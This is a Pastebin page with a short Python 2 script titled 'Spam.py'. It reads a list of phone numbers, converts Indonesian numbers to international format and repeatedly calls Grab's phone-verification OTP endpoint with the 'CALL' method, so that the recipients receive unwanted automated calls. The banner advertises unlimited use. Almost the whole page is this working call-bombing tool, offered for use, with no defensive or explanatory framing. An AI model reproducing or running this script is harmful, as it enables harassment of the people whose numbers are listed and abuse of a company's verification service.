LOoLzeC

Spam.py

Jan 7th, 2019
1,361
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.70 KB | None | 0 0
  1. import os
  2. from time import sleep
  3. try:
  4.     import requests
  5. except:
  6.     os.system("pip2 install requests;pip install requests")
  7. print """
  8.     [ spammer grab python version
  9.     [ type spam : telepon
  10.     [ unlimited : yes
  11.     [ author    : 407AEx
  12.     [ coded by  : Deray
  13. """
  14. no=raw_input("- list of no: ")
  15. try:
  16.     b=open(no).readlines()
  17. except:
  18.     print "- failed to open:",no
  19.     exit()
  20. for x in b:
  21.     nos=x.replace("08","628").replace("\n","")
  22.     req= requests.post("https://api.grab.com/grabid/v1/phone/otp",data={"method":"CALL","countryCode":"id","phoneNumber":nos,"templateID":"pax_android_production"}).text
  23.     if req !="errors":
  24.         print "+ sending ok: "+str(nos)
  25.     else:
  26.         print "- send failed: "+str(nos)
  27. print "- finished."
Advertisement
Add Comment
Please, Sign In to add comment